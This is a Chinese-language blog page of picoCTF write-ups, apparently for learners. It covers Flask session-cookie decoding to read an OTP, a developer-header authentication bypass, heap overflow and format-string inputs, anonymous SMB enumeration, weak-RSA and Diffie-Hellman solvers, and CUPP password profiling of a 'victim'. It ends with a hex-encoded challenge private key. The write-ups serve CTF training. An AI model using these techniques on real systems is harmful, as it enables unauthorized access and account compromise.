116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <ctype.h>
#include <time.h>

char *find_little_endian(const char *word)
{
 size_t word_len = strlen(word);
 char *little_endian = (char *)malloc((2 * word_len + 1) * sizeof(char));

 for (size_t i = word_len; i-- > 0;)
 {
 snprintf(&little_endian[(word_len - 1 - i) * 2], 3, "%02X", (unsigned char)word[i]);
 }

 little_endian[2 * word_len] = '\0';
 return little_endian;
}

char *find_big_endian(const char *word)
{
 size_t length = strlen(word);
 char *big_endian = (char *)malloc((2 * length + 1) * sizeof(char));

 for (size_t i = 0; i < length; i++)
 {
 snprintf(&big_endian[i * 2], 3, "%02X", (unsigned char)word[i]);
 }

 big_endian[2 * length] = '\0';
 return big_endian;
}

char *generate_random_word()
{
 printf("Welcome to the Endian CTF!\n");
 printf("You need to find both the little endian and big endian representations of a word.\n");
 printf("If you get both correct, you will receive the flag.\n");
 srand(time(NULL));

 int word_length = 5;
 char *word = (char *)malloc((word_length + 1) * sizeof(char));

 for (int i = 0; i < word_length; i++)
 {
 word[i] = (rand() % 26) + 'a';
 }

 word[word_length] = '\0';
 return word;
}

int main()
{
 char *challenge_word = generate_random_word();
 printf("Word: %s\n", challenge_word);
 fflush(stdout);

 char *little_endian = find_little_endian(challenge_word);
 size_t user_little_endian_size = strlen(little_endian);
 char user_little_endian[user_little_endian_size + 1];
 bool correct_flag = false;

 while (!correct_flag)
 {
 printf("Enter the Little Endian representation: ");
 fflush(stdout);
 scanf("%10s", user_little_endian);
 for (size_t i = 0; i < strlen(user_little_endian); i++)
 {
 user_little_endian[i] = toupper(user_little_endian[i]);
 }

 if (strncmp(user_little_endian, little_endian, user_little_endian_size) == 0)
 {
 printf("Correct Little Endian representation!\n");
 fflush(stdout);
 correct_flag = true;
 }
 else
 {
 printf("Incorrect Little Endian representation. Try again!\n");
 fflush(stdout);
 }
 }

 char *big_endian = find_big_endian(challenge_word);
 size_t user_big_endian_size = strlen(big_endian);
 char user_big_endian[user_big_endian_size + 1];

 bool final_flag = false;
 while (!final_flag)
 {
 printf("Enter the Big Endian representation: ");
 fflush(stdout);
 scanf("%10s", user_big_endian);
 for (size_t i = 0; i < strlen(user_big_endian); i++)
 {
 user_big_endian[i] = toupper(user_big_endian[i]);
 }

 if (strncmp(user_big_endian, big_endian, user_big_endian_size) == 0)
 {
 printf("Correct Big Endian representation!\n");
 fflush(stdout);
 final_flag = true;
 }
 else
 {
 printf("Incorrect Big Endian representation. Try again!\n");
 fflush(stdout);
 }
 }

 FILE *flag = fopen("flag.txt", "r");
 if (flag == NULL)
 {
 printf("Flag not found. Please run this on the server\n");
 fflush(stdout);
 exit(0);
 }

 char flag_content[100];
 fgets(flag_content, sizeof(flag_content), flag);
 printf("Congratulations! You found both endian representations correctly!\n");
 fflush(stdout);
 printf("Your Flag is: %s\n", flag_content);
 fflush(stdout);
 exit(0);

 return 0;
}

IntroToBurp

Fri, 08 May 2026 21:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/419

題目解法

啟動題目後開啟 Burp Suite 並開啟他的瀏覽器，隨意註冊帳號並送出，題目會要求輸入 OTP，開啟 Brup Suite 的 Proxy 頁面並啟動 intercept。隨意送出一個 otp 後查看攔截到的請求，會有一段 Cookie: session。

Cookie: session=.eJxVjMsOwiAURP-FtYtWHuX6Ee5dEeBCbCzQ8EhjjP_udWPibs6ZzLyYX_uTXdj1xk7MtxpNL4-QyQBKLzg6LQSESS_CInoHs7JcOsetBFh0VEC7OLbNZJsCzSymNZMrfSfSILWQhLtt7SgVyf0i2XvJweSRXKjUTPOZC6kW_T0dLdS_z_cHspM0ng.af3ngw.AmwUYp3JlxixMAMPGGJxaFRDeos

這個是 Flask Session Cookie 的格式，主要分成三段資料，依序是內容物 (Payload)、時間戳 (Timestamp)、簽章 (Signature)，假設是 e 開頭的可以直接使用 base64 解碼，假設是使用 .e 開頭代表有壓縮過，要透過 flask-unsign 才可以解碼。

$ flask-unsign --decode --cookie ".eJxVjMsOwiAURP-FtYtWHuX6Ee5dEeBCbCzQ8EhjjP_udWPibs6ZzLyYX_uTXdj1xk7MtxpNL4-QyQBKLzg6LQSESS_CInoHs7JcOsetBFh0VEC7OLbNZJsCzSymNZMrfSfSILWQhLtt7SgVyf0i2XvJweSRXKjUTPOZC6kW_T0dLdS_z_cHspM0ng.af3ngw.AmwUYp3JlxixMAMPGGJxaFRDeos"
{'city': 'NY', 'csrf_token': '9d5c43db8449e0874addcb916a35bb3a59978f69', 'full_name': 'admin', 'otp': '895845', 'password': 'password', 'phone_number': '0123456789', 'username': 'admin'}

解碼後可以發現 'otp': '895845'，將請求修改成 otp=895845 送出即可得到 flag。

picoCTF{#0T----------------------d21}

Secret of the Polyglot

Fri, 08 May 2026 20:35:00 +0800

題目連結

https://learn.cylabacademy.org/library/423

題目解法

下載題目的檔案後發現是一個 .pdf 檔，打開後有後半段 flag

1n_---------------5c0}

根據提示可以知道要以不同方式打開檔案，用十六進位編輯器打開可以發現開頭是 PNG。

00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR
00000010: 0000 0032 0000 0032 0806 0000 001e 3f88 ...2...2......?.
00000020: b100 0001 8569 4343 5049 4343 2070 726f .....iCCPICC pro
00000030: 6669 6c65 0000 2891 7d91 3d48 c340 1cc5 file..(.}.=H.@..
00000040: 5f53 a5a2 1511 3b88 0866 a80e 6241 54c4 _S....;..f..bAT.

將附檔名改成 .png 即可以圖片方式打開，得到前半段 flag。

picoCTF{f1u3n7_

picoCTF{f1u----------------------5c0}

Super SSH

Fri, 08 May 2026 20:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/424

題目解法

這題題目是 ssh 的基礎教學，指令用法如下

ssh -p <port> <username>@<host>
ssh -p 52938 ctf-player@titan.picoctf.net

第一次連接後為了避免中間人攻擊，會確認 fingerprint，要輸入 yes 確認。
接著輸入密碼，輸入密碼時不會顯示任何內容，輸入完畢後按下 enter 即可連線。

$ ssh -p 52938 ctf-player@titan.picoctf.net
The authenticity of host '[titan.picoctf.net]:52938 ([3.139.174.234]:52938)' can't be established.
ED25519 key fingerprint is SHA256:4S9EbTSSRZm32I+cdM5TyzthpQryv5kudRP9PIKT7XQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[titan.picoctf.net]:52938' (ED25519) to the list of known hosts.
ctf-player@titan.picoctf.net's password:
Welcome ctf-player, here's your flag: picoCTF{s3c--------------------462}
Connection to titan.picoctf.net closed.

Time Machine

Fri, 08 May 2026 20:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/425

題目解法

下載並解壓縮後進入該目錄。
使用 git log 指令可以查看 commit 紀錄，而 flag 就寫在最新的 commit message 中。

$ git log --oneline
712314f (HEAD -> master) picoCTF{t1m--------------b3a}

Unminify

Fri, 08 May 2026 19:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/427

題目解法

開啟網站後，按下 Ctrl + u 即可查看網頁原始碼，內容如下

1
2

<!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>picoCTF - picoGym | Unminify Challenge</title><link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png"><style>body{font-family:"Lucida Console",Monaco,monospace}h1,p{color:#000}</style></head><body class="picoctf{}" style="margin:0"><div class="picoctf{}" style="margin:0;padding:0;background-color:#757575;display:auto;height:40%"><a class="picoctf{}" href="/"><img src="picoctf-logo-horizontal-white.svg" alt="picoCTF logo" style="display:inline-block;width:160px;height:90px;padding-left:30px"></a></div><center><br class="picoctf{}"><br class="picoctf{}"><div class="picoctf{}" style="padding-top:30px;border-radius:3%;box-shadow:0 5px 10px #0000004d;width:50%;align-self:center"><img class="picoctf{}" src="hero.svg" alt="flag art" style="width:150px;height:150px"><div class="picoctf{}" style="width:85%"><h2 class="picoctf{}">Welcome to my flag distribution website!</h2><div class="picoctf{}" style="width:70%"><p class="picoctf{}">If you're reading this, your browser has succesfully received the flag.</p><p class="picoCTF{pr3--------------82e}"></p><p class="picoctf{}">I just deliver flags, I don't know how to read them...</p></div></div><br class="picoctf{}"></div></center></body></html>

即可找到 flag。

picoCTF{pr3--------------82e}

Ph4nt0m 1ntrud3r

Thu, 07 May 2026 01:15:00 +0800

題目連結

https://learn.cylabacademy.org/library/459

題目解法

下載後得到一個 myNetworkTraffic.pcap 檔案，可以使用 wireshark 開啟。開啟後用時間排序後如圖

可以發現每個封包結尾有一段使用 base64 編碼的資料，而且封包編號 1 的解碼內容是 picoCTF，接著將時間在封包 1 之後的字串複製出來並解碼即可得到 flag。

cGljb0NURg==
ezF0X3c0cw==
bnRfdGg0dA==
XzM0c3lfdA==
YmhfNHJfZA==
NGI1NzkwOQ==
fQ==

picoCTF{1t_----------------------------909}

Password Profiler

Wed, 06 May 2026 23:45:00 +0800

題目連結

https://learn.cylabacademy.org/library/712

題目解法

這題題目提示中有提到 CUPP 這個 python 工具，這是一個可以根據使用者提供的資訊生成密碼字典的工具。
從 github 將 CUPP clone 下來並執行。

git clone https://github.com/Mebus/cupp.git
cd cupp
python cupp.py -i

跟著指示一步一步輸入資料，即可生成密碼字典。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


$ python .\cupp.py -i
 ___________
 cupp.py! # Common
 \  # User
 \  ,__, # Passwords
 \  (oo)____ # Profiler
 (__) )\
 ||--|| * [ Muris Kurgas | j0rgan@remote-exploit.org ]
 [ Mebus | https://github.com/Mebus/]


[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Alice
> Surname: Johnson
> Nickname: AJ
> Birthdate (DDMMYYYY): 15071990


> Partners) name: Bob
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):


> Child's name: Charlie
> Child's nickname:
> Child's birthdate (DDMMYYYY):


> Pet's name:
> Company name:


> Do you want to add some key words about the victim? Y/[N]:
> Do you want to add special chars at the end of words? Y/[N]:
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]:

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to alice.txt, counting 10359 words.
> Hyperspeed Print? (Y/n) :
[+] Now load your pistolero with alice.txt and shoot! Good luck!

以下是生成的密碼字典
passwords.txt

Crack the Gate 1

Wed, 06 May 2026 23:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/520

題目解法

在題目網站的原始碼中，有一行註解

<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->

使用 ROT 13 解碼後如下

<!-- NOTE: Jack - temporary bypass: use header "X-Dev-Access: yes" -->

根據這行註解提示得知，在 header 中加上 X-Dev-Access: yes 就可以跨過驗證。

我們開啟 burpsuite 來攔截修改請求，開啟 intercept，當輸入完帳密後，將請求中加上 X-Dev-Access: yes 後送出，回應中就能夠看到 flag。

EVEN RSA CAN BE BROKEN???

Mon, 04 May 2026 03:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/470

題目解法

使用 nc 連線後題目會提供 $N$, $e$（每次都不一樣）。在這題題目中的 $N$ 有明顯的漏洞，就是是 2 的倍數，代表其中一個質數一定是 $p = 2$。解密步驟：

計算出 $q$ $$q = \frac{N}{2}$$
計算出 $\phi(n)$ $$\phi(n) = \phi(p) \times \phi(q) = (p-1) \times (q-1) = (2-1) \times (q-1) = q-1$$
計算私鑰 $d$：
使用模反元素（Modular Inverse）公式： $$d \equiv e^{-1} \pmod{\phi(N)}$$
解密密文 $C$： $$m = C^d \pmod{N}$$
轉換為文字：
將得到的長整數 $m$ 轉回 bytes，再以 UTF-8 解碼。

解題腳本

將 $N$, $e$, $cyphertext$ 填入執行即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


from Crypto.Util.number import long_to_bytes, inverse

# 已知資訊
N = 24363402644768690727955172666209469821725905198393631084455253811708663554350947264649402937037672246381690969915451279285279631133822103514599606304356602
e = 65537
cyphertext = 13597050467487786638619946148639439992899445404956336122073567173641265830288842478196554274484546393046984321139824087540835441687603028763464962383947497

# 1. 分解 N (因為 N 是偶數，所以其中一個質數是 2)
p = 2
q = N // p

# 2. 計算 phi(N)
phi = (p - 1) * (q - 1)

# 3. 計算私鑰 d
d = inverse(e, phi)

# 4. 解密
m_long = pow(cyphertext, d, N)

# 5. 轉回字串
print(long_to_bytes(m_long).decode('utf-8'))

format string 0

Mon, 04 May 2026 02:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/433

題目解法

這題題目是有關於格式化字串攻擊 (Format String Attack)，要從選項中選出潛在風險的字串。
第一題的三個字串中，Gr%114d_Cheese 包含 %ll。

"Breakf@st_Burger", "Gr%114d_Cheese", "Bac0n_D3luxe"

第二題的三個字串中，Cla%sic_Che%s%steak 包含 %s。

Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak

webshell:~$ nc mimas.picoctf.net 49550
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3---------------------------------405}

heap 0

Mon, 04 May 2026 02:00:00 +0800

題目連結

https://learn.cylabacademy.org/library/438

題目解法

分析原始碼可以在第 16 行看到當 safe_var 不等於 "bico" 時就能順利印出 flag。按下 1. Print Heap 會印出 Heap Data 的位址。
使用 2. Write to buffer 可以將資料寫入上面的位址 (0x5aec6d8702b0)，上面與下面的位址相差 0x20，只要輸入的內容長度超過 32 位元就會造成 buffer overflow，會覆蓋掉 bico，之後使用 4. Print Flag 就會順利印出 flag 了。

webshell:~$ nc tethys.picoctf.net 50333
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x6242e49372b0 -> pico
+-------------+----------------+
[*] 0x6242e49372d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x6242e49372b0 -> pico
+-------------+----------------+
[*] 0x6242e49372d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: 00000000000000000000000000000000overflow
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x6242e49372b0 -> 00000000000000000000000000000000overflow
+-------------+----------------+
[*] 0x6242e49372d0 -> overflow
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 3
Take a look at my variable: safe_var = overflow
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{my_-------------------------1a6}

題目原始碼

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64
// amount of memory allocated for input_data
#define INPUT_DATA_SIZE 5
// amount of memory allocated for safe_var
#define SAFE_VAR_SIZE 5

int num_allocs;
char *safe_var;
char *input_data;

void check_win() {
 if (strcmp(safe_var, "bico") != 0) {
 printf("\nYOU WIN\n");

 // Print flag
 char buf[FLAGSIZE_MAX];
 FILE *fd = fopen("flag.txt", "r");
 fgets(buf, FLAGSIZE_MAX, fd);
 printf("%s\n", buf);
 fflush(stdout);

 exit(0);
 } else {
 printf("Looks like everything is still secure!\n");
 printf("\nNo flage for you :(\n");
 fflush(stdout);
 }
}

void print_menu() {
 printf("\n1. Print Heap:\t\t(print the current state of the heap)"
 "\n2. Write to buffer:\t(write to your own personal block of data "
 "on the heap)"
 "\n3. Print safe_var:\t(I'll even let you look at my variable on "
 "the heap, "
 "I'm confident it can't be modified)"
 "\n4. Print Flag:\t\t(Try to print the flag, good luck)"
 "\n5. Exit\n\nEnter your choice: ");
 fflush(stdout);
}

void init() {
 printf("\nWelcome to heap0!\n");
 printf(
 "I put my data on the heap so it should be safe from any tampering.\n");
 printf("Since my data isn't on the stack I'll even let you write whatever "
 "info you want to the heap, I already took care of using malloc for "
 "you.\n\n");
 fflush(stdout);
 input_data = malloc(INPUT_DATA_SIZE);
 strncpy(input_data, "pico", INPUT_DATA_SIZE);
 safe_var = malloc(SAFE_VAR_SIZE);
 strncpy(safe_var, "bico", SAFE_VAR_SIZE);
}

void write_buffer() {
 printf("Data for buffer: ");
 fflush(stdout);
 scanf("%s", input_data);
}

void print_heap() {
 printf("Heap State:\n");
 printf("+-------------+----------------+\n");
 printf("[*] Address -> Heap Data \n");
 printf("+-------------+----------------+\n");
 printf("[*] %p -> %s\n", input_data, input_data);
 printf("+-------------+----------------+\n");
 printf("[*] %p -> %s\n", safe_var, safe_var);
 printf("+-------------+----------------+\n");
 fflush(stdout);
}

int main(void) {

 // Setup
 init();
 print_heap();

 int choice;

 while (1) {
 print_menu();
 int rval = scanf("%d", &choice);
 if (rval == EOF){
 exit(0);
 }
 if (rval != 1) {
 //printf("Invalid input. Please enter a valid choice.\n");
 //fflush(stdout);
 // Clear input buffer
 //while (getchar() != '\n');
 //continue;
 exit(0);
 }

 switch (choice) {
 case 1:
 // print heap
 print_heap();
 break;
 case 2:
 write_buffer();
 break;
 case 3:
 // print safe_var
 printf("\n\nTake a look at my variable: safe_var = %s\n\n",
 safe_var);
 fflush(stdout);
 break;
 case 4:
 // Check for win condition
 check_win();
 break;
 case 5:
 // exit
 return 0;
 default:
 printf("Invalid choice\n");
 fflush(stdout);
 }
 }
}

Binary Search

Mon, 04 May 2026 01:10:00 +0800

題目連結

https://learn.cylabacademy.org/library/442

題目解法

使用 ssh 連線進去，不斷猜範圍內的鄭中間一定可以在 10 次內猜到。

webshell:~$ ssh -p 58451 ctf-player@atlas.picoctf.net
The authenticity of host '[atlas.picoctf.net]:58451 ([18.217.83.136]:58451)' can't be established.
ED25519 key fingerprint is SHA256:M8hXanE8l/Yzfs8iuxNsuFL4vCzCKEIlM/3hpO13tfQ.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:3: [hashed name]
~/.ssh/known_hosts:5: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[atlas.picoctf.net]:58451' (ED25519) to the list of known hosts.
ctf-player@atlas.picoctf.net's password:
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Lower! Try again.
Enter your guess: 250
Higher! Try again.
Enter your guess: 375
Higher! Try again.
Enter your guess: 438
Higher! Try again.
Enter your guess: 469
Higher! Try again.
Enter your guess: 485
Higher! Try again.
Enter your guess: 493
Higher! Try again.
Enter your guess: 497
Higher! Try again.
Enter your guess: 499
Congratulations! You guessed the correct number: 499
Here's your flag: picoCTF{g00-------------07f}
Connection to atlas.picoctf.net closed.

Scan Surprise

Mon, 04 May 2026 01:10:00 +0800

題目連結

https://learn.cylabacademy.org/library/444

題目解法

下載並解壓縮後得到一張 QR code，掃描即可得到 flag。可以拿手機掃描，或是線上掃描工具也可以。

picoCTF{p33-------------77c}

Verify

Mon, 04 May 2026 01:10:00 +0800

題目連結

https://learn.cylabacademy.org/library/450

題目解法

根據題目敘述可以得知要從 file 中找到使用 sha256 雜湊之後指定值的檔案。

使用 ssh 連線進去後，使用 sha256sum 指令來查看檔案經過 sha256 雜湊之後的值，加上 grep 指令可以過濾指定的內容。

ctf-player@pico-chall$ sha256sum files/* | grep "fba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7"
fba9f49bf22aa7188a155768ab0dfdc1f9b86c47976cd0f7c9003af2e20598f7 files/87590c24

使用 ./decrypt.sh 腳本加上找到的檔案即可得到 flag。

ctf-player@pico-chall$ ./decrypt.sh files/87590c24
picoCTF{tru-------------------c24}

Quizploit

Mon, 04 May 2026 00:30:00 +0800

題目連結

https://learn.cylabacademy.org/library/727

題目解法

使用 nc 連線後開始回答問題。

第 1 - 3 題：使用 file 指令查看執行檔詳細資料

webshell:~$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=19251d430d5dd4b44a3e8489a8c76f1894676f7d, for GNU/Linux 3.2.0, not stripped

[*] Question number 0x1:
Is this a '32-bit' or '64-bit' ELF? (e.g. 100-bit)
💡 Hint: Check if the system is x86_64 or x86. No compilation flag specified means default.
>> 64-bit

[*] Question number 0x2:
What's the linking of the binary? (e.g. static, dynamic)
💡 Hint: The program uses standard library functions like fprintf, fgets, and system.
>> dynamic

[*] Question number 0x3:
Is the binary 'stripped' or 'not stripped'?
💡 Hint: By default, binaries compiled without the -s flag contain debugging symbols.
>> not stripped

第 4 - 10 題查看並分析原始碼

Printer Shares

Mon, 04 May 2026 00:15:00 +0800

題目連結

https://learn.cylabacademy.org/library/759

題目解法

列出共享目錄 (Enumeration)
首先我們使用 smbclient，嘗試匿名登入查看伺服器上有那些共享資料夾，輸入密碼處直接按 enter。

smbclient -L <host> -p <port> -U ""
smbclient -L mysterious-sea.picoctf.net -p 53486 -U ""

-L: 列出（List）所有的共享資源。
-p 53486: 指定題目給的連接埠。
-U "": 使用空用戶名（匿名）。

webshell:~$ smbclient -L mysterious-sea.picoctf.net -p 53486 -U ""
Password for [WORKGROUP\]:
Sharename Type Comment
--------- ---- -------
shares Disk Public Share With Guests
IPC$ IPC IPC Service (Samba 4.19.5-Ubuntu)
SMB1 disabled -- no workgroup available

根據上方輸出內容，看到一個名為 shares 的共享資料夾，使用以下指令進入：
```
smbclient //mysterious-sea.picoctf.net/shares -p 53486 -U ""
```
看到 smb: \> 代表成功進入

Shared Secrets

Sun, 03 May 2026 03:20:00 +0800

題目連結

https://learn.cylabacademy.org/library/715

加密方式

這題是迪菲-赫爾曼密鑰交換 (Diffie-Hellman Key Exchange) 演算法。
加密邏輯如下：\

建立兩個公開參數，可以被任何人知道。
- 大質數 $p$
- 原根 $g$
產生私鑰與公鑰雙方各自產生自己的私鑰，並計算出對應的公鑰：
- Alice：
  - 選擇一個私鑰 $a$（隨機整數）。
  - 計算公鑰 $A = g^a \pmod p$。
  - 將 $A$ 傳送給 Bob。
- Bob：
  - 選擇一個私鑰 $b$（隨機整數）。
  - 計算公鑰 $B = g^b \pmod p$。
  - 將 $B$ 傳送給 Alice。
計算共享密鑰
雙方收到對方的公鑰後，利用自己的私鑰計算出相同的共享密鑰 $s$：
- Alice 計算：$s = B^a \pmod p$
- Bob 計算：$s = A^b \pmod p$
$s = B^a \pmod p = A^b \pmod p = g^{ab} \pmod p$

題目解法

這題的重點在於，雖然伺服器的私鑰 $a$ 是未知的，但題目已經直接給了所需的所有關鍵數值：$A$（伺服器公鑰）、$b$（客戶端私鑰）以及 $p$（大質數）。
使用以下 python 腳本可以解密得到 flag。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


# 從 message.txt 複製過來的數值
g = 2
p = 1653798930689987750372209240014380521131540183716217687164747711336243702962818359267822691525697642105558753651223568056089606926425342081267821725904109431430327153613733358950243154522848602494020618427146508586350079988809469424456886589329449769221123659126892760967096413248127035734431548987006011015808526671
A = 771122236020803078829911570090382183223626843114693013412703353349864301811612864849857638111588507084769437566078749825291937213523446695097948166153379036322108656350710200734137906115055446496743841090323252143278700024424965369059879247648625799137192258413471893876530475007392243768366999108564494255853654467
b = 502087552249276796768894199149546386713173741864561762918671131549146319658647813949433247424965048798816294966029262647803764533595143429273283374211302160540685383641060542870573303301014875733971557824236009184578986290165659257363419797500816452080900496604781986251988455903195756181696996025184087945715324970
enc_hex = "cfd6dcd0fcebf9c4dbd7e0cc8cdccd8ccbe0dddb8c87d98c8889c2"

# 1. 計算共享密鑰 (Shared secret)
shared = pow(A, b, p)

# 2. 取得 XOR 的金鑰
key = shared % 256

# 3. 將 hex 轉回 bytes 並進行解密
enc_bytes = bytes.fromhex(enc_hex)
flag = bytes([x ^ key for x in enc_bytes])

print(key)
print(flag.decode())

不過這題的 key 很小，只有 256，所以直接暴力測試所有可能也可以。

StegoRSA

Sun, 03 May 2026 02:40:00 +0800

題目連結

https://learn.cylabacademy.org/library/719

題目解法

下載後得到兩個檔案，image.jpg 和 flag.enc 兩個檔案，其中 flag.enc 是加密後的結果，將其解密即可得到 flag。

根據提示知道私鑰藏在 image.jpg 的 metadata 中，使用 exiftool 查看發現 Comment 是一段使用 hex 編碼的內容，解碼後得到完整私鑰。

2d2d2d2d2d424547494e2050524956415445204b45592d2d2d2d2d0a4d494945765149424144414e42676b71686b6947397730424151454641415343424b63776767536a41674541416f4942415143783072583072754c34674f36620a753372315a6a33376e5971456672665a334e704e4f767a786d554e477a6f4b64452f664d6c75423749507944533241662f4238784e62696d76616a6d5a4447750a5562443656716a584f785930615570514f3672585068516568352b5a4b624f52516f3833722b57647a57566e473339794c723054674861592b755355424f35780a3473675250704262733675324848456a746b32522b2f566a6f5a45345567645a753663316a36774150464334336c7a4d5462744a2b4d53694d38536148494a410a33746f58506b6a33743048474f5675334b57444b5639566b34712f6965756b4d2f6631636c737335424256377147346d375775766d316172623970416865437a0a4a716b466b6968576b44665a79494a6b7a664f4d79332b38327a48414f663669507372734d6f347544664d70316e364c354532686c596a704b486c4b57664d4e0a446e596a4753723941674d424141454367674541444b316c502f6d303444734f353862637241436252435131347837476e4339593139387639386878716174670a312f4a37764e66337a6f64715154442f5043434646385449386f6738635a7073695530314a512f48447a7363364f556c775755546c36394c4432636a57322f440a35385037516d445671614f69536c4446532f356c682b326c5a7541694b69525533495571747349445743704e77466930507a504977584c5a536e3554424655450a525963713259582b49626d6138764b644f2b5749712b626f4973575733667333704a79692b2f4b3255635a2b5132435855596e323447353364545a727a4b78470a3730466d525042354832787541344b777771766246344c483345372b38416b47476b37382f463738416868656f6d6753715541743779397a5232766d532f2b2f0a323144732f74526e7432576b747370577074693375594e57586a377465734b46535a6d6f784b504d59514b426751446c4f51386557695a354b3643627333646b0a776c775a4d6c555a744652434e564f6e7763354b6f315a762b3637433070587139534b59724d3262504132494f505561534b4a6d596a61326b42797a66644f610a3441343238686232625739354a78644543754a62424168485147665a436b683267715247573039457a4c57664e4832714f7748414b595052492f4a2b44796e660a6b6262685967486d783757776c44457146444e38532f326933514b42675144476d4969754964347269345258754d6c53302f496659486439616a7a57316c7a6f0a51695946433268484d73374231506f5270584e736f6748583459637345566b366c4e584e454f2b6f6e6335414a6256634c6d4d72764144736e51535a4e4567310a6a48674443417632436a76494355374239793868775a44716631497a7359615052664e6d465954716a674d5273454368524c4e2b64444e62654f7575326e56760a6c6a4539497158576f514b426746414765364339474846314b62307943707a437669534e7a65674c624e3877667551795a544c706b325046476c3470357530410a5a2f4f6c594b4b786449663657706579672f2f3669643979734a4a3565306132736a2b38685166446251642b2f6b426a44474e364a4f6d374d6f597a634e6a760a4179734d39622b764f446b3875694b554e79672f5669584e787672376b454c645046757a4f376132516c68445a4761735a7330654f6f3642416f4742414964450a324477375a31656a70525958454648786555617a37302b6d6343417054496b4b6e566a7352792f50784a4b3048557974744376335157676f2f6d6765765063770a3731764a5147524b634853792b6f2f364c4b52615877724c664a6c5a7969466e4e307468544c786568672b66663179516f444c4f3549564643646d5a2f7278520a2b684b37623568502b486b77347953315a636b7048743463512f514b61746b4270544975436d5668416f474150756c6f58447469766569726b576f47715079530a544a576e354a656645776878445a37546139716d786a6f6f783053414f6343554b4e495a454359346c3968557444697749416358754a